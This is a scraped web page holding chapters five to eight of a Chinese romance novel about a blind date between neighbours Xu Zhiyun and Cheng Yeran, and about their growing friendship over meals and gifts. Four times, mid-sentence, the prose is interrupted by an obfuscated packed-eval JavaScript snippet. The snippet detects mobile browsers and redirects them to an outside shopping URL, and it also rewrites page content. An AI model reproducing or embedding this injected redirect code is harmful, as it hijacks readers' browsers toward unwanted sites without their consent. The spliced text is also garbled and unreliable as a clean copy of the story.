程烨熙没在意,给江玥夹了两块鱼。他们聊着聊着,话题兜兜转转,终究回到“相亲”这件事情上。 “爸已经把资料发我了,你待会吃完饭好好看一看。”程烨熙也挺操心弟弟的人身大事,“到时候联系人家,好好见见。万一就合眼缘了呢。” 早几年,也有人牵线搭桥,给程烨然介绍姑娘,但都被他一口回绝了。程烨然的理由是:三十岁之前无心恋爱。 可今年,他马上要满三十一岁。 “……知道了。” 程烨然叹了口气。 * 许妈妈正在酒店里舒舒服服地用热水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067581|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泡脚,猝不及防就收到了女儿打过来的越洋电话。 许知蕴在电话那头问她:“妈,相亲对象的资料呢?你怎么给我发个空白的表格?” 许妈妈惊了一下,在手机里翻了翻,才发现自己貌似把资料和某个教学上的文件搞混了。 “妈妈发错啦,你等一会。” 她找到了资料,确认内容无误后,才发了过去。许知蕴一边等着文件接收一边问她,爸爸呢,在干什么? 许妈妈小声说:“你爸在网上跟别人下象棋呢。” 许知蕴来了精神:“他下了几盘,赢了几盘?” 许父正在桌旁捧着个手机,聚精会神地点着屏幕,时不时皱眉作思考状。“你爸啊……你爸下了三盘,输了两盘,着急得很。” 许知蕴哈哈大笑。她父亲平生除了教书,就是喜欢下象棋。以前没有手机,他就在学校里四处找人下,实在不行,就跑到隔壁学校去找人对弈。现在网络发达了,他一有空,就在网上跟人切磋。或许是因为年纪大了,加上眼睛不行,往往是输多赢少,但许父也乐此不疲。 他也教许知蕴下棋。许知蕴在象棋上似乎有点天赋,可她心思不在这上面。她爸叫她打谱,她在小房间里偷偷看小人书。后来许父也不管她了,不过有时候,他也会叫许知蕴来跟他下下棋,谁赢了,就能决定今晚吃什么。 许知蕴说:“等你们回来,我再跟老爸切磋一番。” 打完电话,她在床上翻了个身,然后点开许妈妈发送的文档。 相亲对象是个怎样的人呢? 她还没来得及想象,一张照片就比其他所有的文字更快地跳入她的眼帘。 看见那人的样貌,许知蕴瞪大了眼睛。 与此同时,一个电话打到了她手机上,她瞥了眼备注,发现是“15栋802程烨然先生”。她飞快地按下了接听键,与电话那头的人异口同声地发出了一句感叹: “原来是你啊!” 许知蕴简直乐不可支。在打开文档的那刻,她还在猜测这人是什么样的呢。这下是熟人,那就好办了。“程先生好!”她笑嘻嘻地说,“既然是相亲对象,咱们找个时间吃饭怎么样?” 许知蕴在错愕过后,其实是有几分庆幸的。 如果是其他人,她还得费心思鼓捣那些社交辞令。但程烨然不一样——她在之前就想着了,抛开相亲对象这一层不讲,和他做个朋友也不错。 不过许知蕴的内心还是有几分忐忑:她想同他做朋友,但他未必这么认为。留下电话和门牌号,或许也只是出于礼貌。她也认识几个世家子弟,对他们而言,这样无心的礼貌太多了。 但程烨然却很爽快地应下了她的邀约。 “好啊。”语气里甚至带了些调侃,“我原本也是这样想。那么,许小姐喜欢哪一家餐厅呢?” 许知蕴对这方面没有要求:“你来定吧。” 他们又聊了几句,随后约定这周末见。挂断电话的时候,许知蕴对他说了句“再会”。 这句话可不是客套话呢。她想。 5. 第五章 时隔多日,许知蕴又一次坐进程烨然的车里。 先前,程烨然开的是一辆白色的轿车,如今却换成黑色的了。 不过,当她打开车门时,还是能闻见同先前别无二致的香水气息。这香水很好闻,不过分喧宾夺主,而是淡淡的,萦绕在人鼻尖。 她打定主意给家里也买类似的款式,便问:“程烨然,你用的是什么牌子的车载香水?” 程烨然正系安全带,闻言抬起头来:“这不是买的,是我自己调的。” 许知蕴本来在等着他说什么“埃迪”“朗龙”“帕尔马”,却没想到听见的是这个答案。一听是人家自己调的,她也不好意思问人要了。毕竟他们还没熟稔到那个地步。 所以,她只是笑笑:“原来如此。不过真的很好闻。” 他们在一家中餐厅落座。位置靠窗,从这里望下去,能看见河对岸CBD的光亮。视线下沉,还能看到凌凌的江景。 许知蕴也去过城内不少知名的餐厅,但这一家,她还没来过。 餐厅装修得十分低调雅致,可以称得上古色古香。厅里挂了几幅水墨画,不同的区域,用染了水墨色的纱制屏风隔开。屋顶上的宫灯四角都垂着流苏,莹莹地流转着一层融金似的光。 侍者走上前来,在桌上细长颈的乳白瓷瓶里,放上一支新鲜带露水的梨花。梨花雪白,与许知蕴身上的淡蓝色套裙十分相衬。 接着端来茶具,将象牙色的茶杯摆在两人面前,各斟了一杯。茶香袅袅,许知蕴端起杯子喝了一口。她虽然品不出是什么种类的茶,但知道这应是极好的茶叶。 喝完茶,她看了看菜单,一项项扫过去,目光在那道“花胶翅肚羹”上停留了些许。 曾经她同父母一起,去一位亲戚的婚宴,其中一道菜就是这翅肚羹。周边的大人聊天时,都说这家酒店的翅肚羹由名厨掌勺,很是美味。那时她还小,出于好奇,给自己舀了很大一勺,吃起来却觉得除了有些黏糊糊之外,似乎没什么特别的滋味。 她指这道菜给程烨然看。“我听说,本城里做这道菜最出名的,好像是个姓苏的师傅。” 程烨然点头:“苏师傅早些年在洛山酒店,后来同其他几位师傅出来单干了。” 洛山酒店,就是许知蕴曾参加过婚宴的地方。或许在她去之前,那位鼎鼎大名的“苏师傅”就早已离开。 他偏过身来,在她的耳边轻声说:“这家餐厅就是几位师傅的。他们家的翅肚羹和乳鸽很是一绝。” 气息清浅,隐约拂过许知蕴的耳畔,却又不过分靠近。 许知蕴在听见他的话语时,内心还是小小地惊讶了一下。“那就要这两道吧。”她说,“都来这里了,不点拿手好菜,岂不是很亏?” 再要了两道素菜和两份甜品,菜总算是点完了。许知蕴用手撑着下巴,道:“感觉你很会发掘好吃的东西……我每次出门聚餐,不知道吃什么,还得上网找攻略呢。” 她还是很感激他给她推荐烤口蘑虾滑的,真是出人意料的好吃。她后来也介绍自己的姐妹去那里,收到的反馈都是清一色的好评。 程烨然笑笑:“家里有亲戚是厨师,所以对这些稍微了解一点。这家店还是他带我来的,先前也吃过好几次。如果是夏天,还可以尝尝松露冰淇淋。” “那——”许知蕴刻意拖长了语调,“以前你和相亲对象来,也会吃这家吗?” 程烨然拿着茶杯的手忽然一顿,像是被戳中了某个地方。 接着,他耸了耸肩,莞尔道:“不瞒你说,这是我第一次相亲。” 许知蕴几乎要怀疑他说话的真实性了。“真的?” “真的,不骗你。” 得到了这个真诚到有些过分的答案,她不禁感叹:“没想到在你面前,我都算是相亲老手了。” 菜上齐了,程烨然给她舀了碗花胶翅肚羹。许知蕴迫不及待地尝了一口,随后满足地眯起了眼睛。这味道才符合她对这道菜的所有幻想啊! 见她吃得欢欣,程烨然的心情也很好。他们聊了会天。这下总算是进行了相亲必要的流程,不过两人都很随意。谈谈家庭、爱好、工作——许知蕴很不好意思地说,自己最大的爱好就是玩城建类游戏。为了玩好这类游戏,她甚至还买了两本城市建筑学的相关书籍,边学边玩。最后游戏玩得没多好,书也没看明白。 程烨然提及自己的工作时,许知蕴也放下筷子,很仔细地听。对于她来说,这就像是一个新的世界。 当她知道程烨然并没有在父母或亲戚的公司就职时,她还是小小地吃了一惊。 “你们公司叫什么名字?”她兴致勃勃地打开购物软件,企图找到程烨然公司的旗舰店。他报了个名字出来,她就飞快地搜索。“啊,有了!” 许知蕴将屏幕对着程烨然,然后手指在上边滑动着,“哪个是你设计的呀?” 程烨然沉默了两秒,看没办法,只好伸出手,指了个绿色的小恐龙。“这个。” 许知蕴这才注意到他的手很好看。手指修长,骨节分明,是一双适合拿着笔作画的手。 她看着那只憨态可掬,长了一双豆豆眼的绿色恐龙:“这也太可爱了吧!” 可当她再问程烨然,还有哪些是他的作品时,他却神秘地笑了笑,说还是不告诉她了。 趁着程烨然起身去洗手间的当口,许知蕴再度点开小恐龙的页面,飞速地将它加入了购物车。 小恐龙有三个尺码,她毫不犹豫地选择了最大的那个。 而当程烨然知道她向杂志投翻译稿,而问她笔名叫什么时,她才后知后觉地感受到那份被问及“设计作品”时的羞涩。 她有些不好意思地说:“没起什么别的笔名,就叫知蕴。” “知蕴……” 程烨然重复了一遍。声音很轻,在旁人听来,似乎有几分缱绻的味道。 自己的名字在他人的唇齿间流转,许知蕴感觉一丝若有若无的热气攀上了脸颊。 结束了晚饭,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067582|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们走出餐厅。外边已是华灯初上。夜风带着凉意,拂过人的面庞。许知蕴理了理头发,忽然听见不远处传来隐约的争吵声。 她朝声音的方向望过去,看见一对男女正怒气冲冲的争执。她不认得那女人是谁,却认得那女人身旁的男人。 那是李文俊。 许知蕴还记得第一次见到李文俊的样子。年轻有为,仪表堂堂,是一个有大好前程的青年,看向陈美芝的目光也满怀爱意。那时她想,或许这会是表姐人生中最后一段恋爱。 可事实是,几年过去,李文俊变成了这个样子。 她无心关注李文俊,只是淡淡地瞥了一眼,便转过头去。倒是程烨然注意到了她的目光,出声问:“那是你熟识的人么?” “……算是吧。”许知蕴说,“以前是,现在不是了。” 以前,他是表姐的未婚夫。现在,对许知蕴而言,他只是个陌生人。 得到这样的回复,程烨然也不觉得奇怪。他明显感受到,许知蕴不愿多说,那他也不会贸然地深入询问。 他们开车返回了小区。 * 许知蕴加上了程烨然的微信。在成为微信好友的当天,她就转了一笔钱给对方。 她不傻,当然知道吃饭时,程烨然不是真的去洗手间,而是去埋单。 妈妈打电话问她相亲的情况:对人家满不满意,有没有下一步发展的打算?许知蕴把那天晚上同程烨然遇见的事讲了,许妈妈听完,很是惊喜:“那你们怪有缘分的。小蕴,对他感觉怎么样?” 许知蕴模模糊糊地说:“……就那样吧。他确实不错,但我觉得我们都没那方面的意思。我就打算做个朋友呗。” 这场相亲不是真正意义上的相亲,因此她也没有想过,会同程烨然有什么意料之外的牵扯。何况,她在先前聊天时就得知,程烨然第二天就要飞到公司总部出差。他们公司是中德合资,这就意味着程烨然得飞到欧洲。 他们这几天都不会再次遇见。 然而,在工作结束后的某个晚上,她忽然接到了一个快递电话。 最近没买快递啊。难道是谁寄给她的? 许知蕴打开快递柜,将这个四四方方,不算沉的箱子扛回了家。箱子并不是普通的快递纸箱,而是精心包装过。经过运输,仍然没有破损的痕迹。用来封住纸箱的胶带上,印了一串字符。许知蕴留心看过去,发现并不是英文。 纸箱很好看,让人不忍心暴力撕扯它。许知蕴拿剪刀小心地沿着缝隙剪开,看见了—— 里边是六七个小玩意:立着许多彩色小鸟的平衡树、充满科技感的小机器人、精致的汽车模型,还有…… 还有三个大小不同,但像小学生一般排排坐好的绿色小恐龙。 在这些玩具下,还有一张深蓝色的纸。她将纸抽出来,看见上边烫金笔的字迹。字迹和缓又不失笔锋,不难想象写字的人是何等用心。 上面写的是: 望您喜欢。程烨然。 6. 第六章 许知蕴简直对这些小东西爱不释手。她将它们珍而重之地放好,特别是那三只小恐龙——她把小恐龙们摆在自己的书桌上,平日里工作的时候,一抬眼就能看见。心情烦躁了,就拿一只在手上把玩。 她特意看准德国的时差,给程烨然打了电话道谢。电话那头的男人轻笑着说:“没什么,你喜欢就好。” 许知蕴开始计划着给程烨然的回礼。等他回国了,送他什么好呢?她咨询了身边好几个同学,又问了爸妈以及表姐,可得到的建议却不太令她满意。想来想去,也没个结果,索性搁置了下来。 只是,在陈美芝终于有空,带她去吃那家心心念念的海鲜时,她吃了几口,心里忽然油然而生一个念头:要是他在就好了。 要是他在,她就带他来这家饭馆。也不知道这家店的口味,他会不会喜欢。 念头升起来的时候,她自己都吃了一惊,面上有几分怔忪。陈美芝看见她端碗的手屡次停住,还以为是今天的饭菜不好吃:“小蕴,怎么了?不合胃口吗?” 许知蕴回过神来,连忙摇头:“没有没有,很好吃,真的。” 她转换了个话题,说自己在餐厅门口碰见李文俊的事情。那同他拉扯的女人也不知是谁,总之不是在酒吧里见过的那个。陈美芝自始至终,神色都是淡淡的,听见李文俊的名字,眉头也没皱一下,只是说:“过去的人已经过去了。他现在同我没有任何的关系。” 紧接着,她又开始叮嘱起许知蕴来:“小蕴,以后找对象,一定要擦亮眼睛。男人,为了得到什么东西,再甜蜜违心的情话,眼睛一眨不眨就能说出来。他们情动时立下的誓言,或许第二天就作不得数。你一定要擦亮眼睛,不要草率地同人家谈恋爱,甚至结婚。” 陈美芝有个大学同学,同别人恋爱了两个月就极速闪婚了。朋友圈里秀的结婚照还历历在目,转瞬间就为离婚的财产分割而争得不可开交。 “……所以小蕴,你以后找了男朋友,一定得给我们把把关。千万不要头脑一发热就去民政局盖章了,知道吗?结婚容易,离婚可不是那么好离的。” 那位同学没有孩子,因此离婚还相对容易。如果有了孩子,有了牵绊,或许更加艰难。 许知蕴很乖巧地应了声“好”。 * 公司会议第二天才开,程烨然提前一天降落了海德堡。 他们公司的写字楼一楼分为两个部分,一个是招待的大厅,另一个则是卖本公司产品的特色直营店。 写字楼不远处就是个不大不小,但充满历史痕迹的市场,也算是这里的一个景点。游人四处逛逛,总能逛到这个直营店。很多人选择在这里买小玩意,当做是伴手礼从海德堡带回。 那天晚上,他拒绝了同事的酒吧邀约,孤身一人在周围漫无目的地散步。市场已经散了,他沿着河边走了一会,索性回到了楼下。 他踏进直营店,在里边挑选了许久,找到几个广受好评且经典的产品,又让店员给他拿了全部尺寸的绿色小恐龙。 他拿起东西走到柜台,让前台打包好,寄跨国快递,随后在快递单上填了一个地址。 前台从抽屉里拿出一沓明信片,指了指桌上的笔,用德语说,可以在这些卡片上写几句祝福的话语。米色的对应家人,粉色的对应爱人,深蓝色的则对应朋友。 程烨然抽出那张深蓝色的卡片,在手里摩挲了一会。 是朋友吗? 他想起许知蕴那双弯弯笑着的眼睛。似乎不管什么时候,她的身上都充满活力。 他挑了一杆笔,随后坐下来,一笔一划地写完了这张卡片。 或许是的。 * 许知蕴背着电脑和书,从咖啡馆里走出来。她这几天几乎天天去,一坐就是一天。服务生们都熟悉她了,在点单时还会送她两三块小糖果。周颂虽然说给她打半折,但她并不好意思要,便出钱办了个会员,每次消费打八折。 她碰见过一次周颂。周颂虽然是老板,但很喜欢打扮成服务生的样子站在一旁,时不时从某个角落窜出来。 他碰见许知蕴时,悄悄跟她咬耳朵:“你知道吗,烨然前几天相亲去了。也不知道是哪家的小姐,结果怎么样。哎,他现在出差了,也不知道跟人家进展如何……” 周颂说完,留心许知蕴的表情,可面前的人只是好整以暇地看着他,言语间还带了点笑意:“知道。我当然知道他去相亲了。” 周颂震惊:“你们关系什么时候变这么好了?他连这个都跟你说了?” “关系到底有多好,我也不清楚。”许知蕴说话慢条斯理的,“因为我就是那位相亲对象呢。” 周颂大张着嘴巴,脸都泛成了番茄色。“那那那——”他一下子组织不清楚语言,“那”了半天,最后憋出一句道歉的话:“对不起啊,别把我先前的调侃当回事……实在不好意思……” 许知蕴当然没把他的调侃当回事。调侃么,就是这样,关心朋友的相亲对象是什么样的人,也是人之常情。 从咖啡馆里走出来,已经是傍晚了。 金云在天空中流动,在这片金色的边缘,还铺陈着紫色的云霞。整个世界,仿佛都笼罩在这层淡淡的光辉里,连空气中的微尘都清晰可见。 这次翻译的作品虽然是个美国作者,但酷爱使用古罗马的神话。许知蕴不得不一边阅读,一边上网搜索古罗马相关的知识来看。看了许久,眼睛有些胀得发疼,不得不休息了一会。 她正看到里边,主角在河边独白的桥段。书里也提到了那么美的晚霞。她看到此处,忍不住抬头看了看窗外,心里觉得,在自然的造化下,纸上的文字,还是太过苍白无力了。 她凝神站了一会儿,准备离开时,包里的手机忽然震动了起来。她翻出电话,看见那个熟悉的备注,又看见地址是在国内,立马接了起来:“喂,程烨然?你回国了?” 她的声音很惊喜,也不知是因为知道他回国的讯息,还是因为他主动打了电话来。 但许知蕴就是很开心。不为别的什么,只是发自肺腑地开心。程烨然回国了,她高兴。他打电话来,她也高兴。她喜欢交朋友,早就把他暗中视为自己的朋友了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067583|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程烨然的声音淡淡的,舒朗又温和:“嗯,今天下午的飞机。” 许知蕴连忙道:“你现在在哪?要不要我去接你?那个,谢谢你寄来的快递,它们都很可爱,我很喜欢——我请你吃饭怎么样?我知道一家很好吃的海鲜餐馆,如果你喜欢吃海鲜的话,我们可以找个时间一起去……” 她有些着急,字像连珠炮似的从口中蹦出来。许知蕴就是有这个毛病,一旦着急,说话的语速就会变得很快。 程烨然的心里忽然生出了某种微妙的感情。 他没有直接回答许知蕴“请客”的问题,而是轻轻地弯了弯嘴角:“许小姐,麻烦回个头。” 许知蕴福至心灵一般转过头,就看见程烨然逆着夕阳的光辉,站在不远处。 这人右手拿着手机,正放在耳畔,左手还拖着个银白色的行李箱,看着她,眉眼含笑。 他身高优越,夕阳顺着他挺拔清俊的身影滑落下来,流泻在地上。许知蕴怔怔地看着他,不知是不是因为太阳过于耀眼,她竟有一瞬间的晃神。 她想起初见程烨然的那个在酒吧的夜晚。光线昏暗,男人抬起头来,五官带着些许锋利,但真正笑起来的时候,却令人感到如沐春风。 等面前的男人朝她招手,她才回过神来,急忙跑过去:“我之前同周颂聊天,问他你什么时候出差回来,他说他也不知道。” “嗯。我没有跟他说。”程烨然道,“工作上的事情有些杂,其实我也不知道我什么时候会回来。” 许知蕴点点头,表示理解。她同程烨然一起走回15栋。在路上,她忽然想起了什么:“对了,我之前说很喜欢你寄来的快递,这不是客套话。喏,你看,我把它们放在书桌上了……” 她掏出手机,翻出相册里的照片给他看。三只小恐龙排排坐,清澈无辜的豆豆眼望向电脑屏幕,无助得像个刚来实习就被塞了一大堆事情的苦命打工人。 程烨然虽然知道她很喜欢,却不知道能喜欢到“放在书桌上”这个地步。他很认真地同许知蕴道谢,许知蕴笑嘻嘻道:“明明是你送我东西,怎么是你说这话呢,应该是我道谢才是。” 程烨然摇摇头:“不。作为设计师而言,自己的产品被人喜欢,是一件很荣幸的事。我当然要向你说声谢谢。” 以前读书时,他参加过不少设计比赛。刚开始的时候,技术不到位,想象也颇为天马行空,结果得到的票数寥寥无几。他一位师姐的作品拔得头筹,不仅获得了奖金,还被一个设计公司看上,买下了版权。那时他很羡慕师姐,想的却不是那些高额的回报,而是想,如果有朝一日,也有那么多人能欣赏自己的作品,那该多好。 走进电梯时,他忽然侧头看了看旁边的人,笑着问:“那么,不知道你先前说‘请我吃饭’这句话,还算不算得数?” 许知蕴一愣,像是没想到他会问起一般,立马大声道:“算数算数,当然算数了!” 电梯运行到7楼,发出“叮”的一声脆响。又是一个说再见的场合。 然而两人都知道,他们总会再见的。 7. 第七章 许知蕴如愿以偿地请程烨然吃了顿饭。 地点当然是选在她喜欢的那家海鲜,只不过店面离城市有点远,要驱车差不多一个小时才到。 她不让程烨然开车,而是开了自己的车出来。深灰色的SUV从车库里缓缓驶出,她摇下车窗,程烨然这才发现她不知什么时候戴了个墨镜。 “来来来,快上来吧。”她说,“车里有眼罩,有小零食,有矿泉水……” 在车里开小卖部么?程烨然笑笑,从善如流地坐了进去。 许知蕴有点懒,一般不爱出远门。平日里就算去市中心逛街或吃饭,也更喜欢坐地铁,而不是傻乎乎地开着车,在道上堵好几个小时。因此她很少开这辆宝贝爱车,只是放它在地下车库里吃灰。如今,总算是逮着机会开它出来兜风了。 窗外的景色如流水般从人眼前掠过。傍晚,多的是在路上三三两两的人们。写字楼里灯火明亮,夜市摊的烟火气伴随着吆喝声。隔着一道玻璃,什么都会变得朦胧,影影绰绰,像现代派的油画。他们驱车过了桥,越过城市里川流不息的河水,追着落日,到了一处海港附近。 海港的渔火,自远而近闪着幽幽的光亮。洁白的沙滩映着白炽灯的灯光,晃人眼睛。车里放着蒸汽波的音乐,许知蕴熟练地找到旁边一个棚子搭成的简易车库,找了个位置停进去。 虽然只是一处海港的停车棚,但棚里也有不少豪车。许知蕴一眼就能明白,是她买不起的类型。但她也并不觉得有什么,停好车后,就招呼程烨然下来。 两人都穿得很随意,程烨然换了一套连帽运动衫,显得颇为年轻,配上他的脸,像个还在大学读书的小伙。许知蕴披了件珍珠白的外套。程烨然注意到,她戴了条细细的银项链,将她的脖颈衬得很是修长。 “哪家?”程烨然的视线扫过这里颇为显眼的好几个招牌。 许知蕴神秘地说:“你看到的这些都不是。跟我来。” 他们在里边绕了一会,走到海边。一家规模不大,不太起眼的小店就坐落在这里。旁边还有一艘轮船,有些年头没开了,又没怎么保养,显得很是破旧。还没进门,就能闻到腾腾的香气。 许知蕴说:“喏,这里才是。” “比起之前看到的几家店,它有点偏僻了。” “是啊,我之前同表姐找到这里也费了点功夫。不过俗话说得好,酒香不怕巷子深嘛。” 外边的装潢虽然不起眼,但餐馆内里的装修却很素净。程烨然跟着她走进去,拿着菜单的服务小哥一看见许知蕴,就热情地招呼她到窗边能看海景的位置坐下。许知蕴来得多了,连老板都认识她,刚一落座,就免费送了他们一大瓶鲜榨的橙汁。 许知蕴把菜单给程烨然看:“有什么不吃或者过敏的吗?” 程烨然摇摇头,说没有,随后把菜单推过去给她:“我没来过这里,你来点吧。” 许知蕴朝他眨了眨眼睛,拿起笔,在菜单上勾画起来。 金鲑是现点现杀,肉质香甜润滑。大龙虾拿来清蒸,出锅后浇上蘸料,别有风味。春笋口感清爽,羊肚菌汤鲜美,喝一口下去,整个身体都暖融融的。 程烨然将四道菜都尝了一遍,最后在许知蕴亮晶晶的、期待的目光下,真心实意地说了一句:“好吃。” 紧接着又说:“我之前怎么没发现呢。” 他大学时就喜欢四处找好味的餐馆,并且一旦找到,就很是专情。就比如,不管城内开了多少家昂贵知名的烘焙店,他最喜欢的,还是老宅门口那家小面包店烤出的拿破仑。从上小学吃到去留学,口味一直不变。 许知蕴手上正剥着龙虾;“那你现在发现了,也很好啊。我是表姐介绍来的,表姐好像又是她师兄介绍来的……哎呀,总归说不清,好吃就是了。” 他们的位置靠着窗,透过玻璃,可以望见上涨又落下的海水。 许知蕴喜欢看海。小时候,听《海的女儿》时,她满心觉得海里真的有人鱼,可等到了海边,她却一点人鱼的踪迹都没发现。爸妈没有戳破她的幻想,只是让她再努力找找看。周末放学,她就专门跑到海边,手里拿着一串烤鱿鱼,等待人鱼的出现。后来长大了,她当然知道这故事是假的,却仍旧喜欢注视这片海洋。就像不是所有的城市都有沙漠与戈壁一样,也不是所有的城市,都能望见海。 她说:“我们的城市真好啊,有穿城而过的江,也有变幻莫测的海。可以在江边钓鱼,也可以在海边思考人生。这真是最棒的事情。” 玻璃窗上映出程烨然的侧脸,也映出他脸上淡淡的笑意。 “我有个同学,曾经问我,虽然这里同京城差不多,但去京城能有更好的发展。”男人给自己和对面的杯子都满上,语气沉稳,“但我觉得,这里要比京城好。这里有一片海啊。” 许知蕴歪了歪头:“所以,你就留下来了?” “嗯。”程烨然说,“所以,我就留下来了。” 就在刚才,他想,不管这里有没有海,或许还是留下来的好。 留下来,才能遇到希望遇到的人。 * 有一个效应,叫“视网膜”效应。 一个人一开始没有注意到某种花是缺瓣的,但当他发现之后,很轻易地就能发现更多种缺瓣的花朵。 这是一种关注焦点的变化。 而许知蕴隐隐觉得,自己对程烨然这个人,似乎也产生了些轻微的“视网膜效应”。从前,两人尽管在同一个小区,却都神奇地没有碰过面。但现在,她反倒是经常与程烨然碰面了。 他们有时在电梯里遇到。许知蕴扛着快递,程烨然在电梯里,帮她摁着开门的按钮。她边说谢谢边扭身进去,看见标着“7”的那个数字亮起了。 她的快递盒不大,却看起来有点分量。程烨然问她买的什么,她将盒子放在脚下,撩开被汗水打湿的头发,说这是自己买的书。统共有三本,都是悬疑小说。 话音未落,眼前一只修长洁白的手,递过来一方纸巾。“擦擦吧。”他说,“你们女孩子大多是长头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067584|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发,出汗了会很难受。” 许知蕴有些讷讷地接过纸巾。她的指尖同他的相触,带来一阵难言的暖流。 有时,他们在小区内的花园内,远远地打个招呼。时而是早晨,她起大早去咖啡馆,撞见程烨然的车子从地下车库开出来。是那辆白色的轿车。他问去哪儿,要不要顺路一程。许知蕴知道他是去上班,不像自己这种自由职业者,可以随意安排时间,也不想添麻烦,就笑着拒绝。 时而是夜晚,他拎着公文包走进15栋的大厅。她下去取夜宵,浓烈的烧烤香气传来。碰上程烨然,她就从浸满油脂的棕色纸袋里抽出一根香香脆脆,洒满辣椒粉和孜然的烤翅,用纸巾包着底部,防止脏了手,问程烨然:“你吃不吃?” 程烨然说:“这是你的夜宵啊,我吃了,你不就饿了?” 许知蕴很大度地说:“没关系,分享是人类最大的美德。何况我为了用外卖券而多点了几串,分你吃不成问题。” 程烨然就接过那串烤翅,吃了起来。哪怕是现在这个很容易狼狈的姿势,他的吃相都很标准优雅。许知蕴看他吃东西,莫名觉得很赏心悦目。但这赏心悦目背后的缘由,她又说不出来。 偶尔,她在小区花园的长椅上发呆时,能看见程烨然坐着别人的车回来。他似乎是喝了点酒,白皙的脸也泛着红色。扶他下来的是个穿着花色外套,留长发的男人。这男人穿着颇为前卫,但并不让人觉得庸俗。许知蕴反而觉得,他像是搞艺术的。 应当是他的朋友。 许知蕴想,像程烨然这种人,这种家世,本来就凭空地形成了一个隐形的圈。就算再怎么平易近人接地气,圈子仍然存在。许知蕴的家庭条件已经够好了,但还是会被排除在这些人的圈子之外。 她并不会妄自菲薄,只是偶尔会感叹他们的生活。她虽然接触不到,但也能想象得出,那些所谓“顶级豪门”的日常,或许比小说里写的还要夸张百倍。 新的稿子总算翻译完了。许知蕴只觉得与其说自己看了个故事,不如说是被动吸收了很多古罗马相关的知识,差点就捡起大学时代的课本了。 电话响起,她接起来,随后换鞋子走下楼,去拿她的小馄饨外卖。附近很多做小吃的店铺,但只有这家的小馄饨最得她心。 她拎着外卖往回走,却不曾想碰见了一个熟悉的人影。那人也看见她了,停住脚步,温声说了句“晚上好”。 “晚上好呀。”小馄饨的热气直往许知蕴提着外卖包装的手上冒,她见程烨然又提着包,便看了看现在的时间,调笑着问,“又加班啦?” 据她所观察得出的结果,程烨然加班的天数确实越来越多了。 这姑娘的观察力还真是够敏锐的。程烨然眉眼间透露出几分无奈:“说是进入了考核期,没办法。” 紧接着,他从胸口的口袋里抽出一张墨绿色的票来。票的四周,还印着细细的金线。 “一起去看么?”他低头看着许知蕴,轻声问。 那是一张美术展的票。 8. 第八章 程烨然是被那位穿花外套的长发男人拉去聚会的。 聚会里的这些人,他都或多或少认识。他们同程烨熙这样的社会精英不太一样,大多是做一些各种各样的工作,主打一个随心所欲。 花外套男人姓严,大名严宇之,学的是油画,偶尔参加画展,时不时跟朋友出去喝酒采风,日子过得很是悠闲。家底在那,任他怎么胡闹,总之不愁吃穿就是了。 程烨然同他们结识,还是在一位房地产大亨的订婚宴上。这位大亨即将迎娶第三任妻子,似乎是为了彰显自己对这位未婚妻的看重,将各界名流都请了过来。程父程母很快就融入社交之中,程烨然在宴会厅里待着,觉得没趣,想到楼底的花园走走,却被一个人拦了下来。 严宇之的长发扎成了个丸子头,穿着件度假风的椰子树衬衫,手里还抱着把吉他:“你是程烨然?听说你会吹口琴,要不要和我们一起玩音乐?” 程烨然的口琴其实是半吊子。当年程烨熙学小提琴,他不服气,也想找个乐器学学。成绩上比不过,音乐上还压不过他哥一头吗?头脑发热地找了个英国的口琴老师,学了两年,才发现自己对口琴并没有很大的兴趣。正巧这位老师有急事要回英国去,因此程烨然就能顺理成章地不学了。 他向严宇之解释自己的技术不太好,却得到了对方无所谓的回答;“这有什么,我们这也没有人人都是演奏级。想玩,爱玩,什么水平都可以。” 于是,程烨然欣然加入。严宇之有栋小别墅,他们就在别墅里搞他们的音乐。他们开几瓶酒,边喝边自娱自乐地演奏。饿了,就叫几份外卖,或者直接让人从家里送过来,直到夜幕降临,太阳西沉。 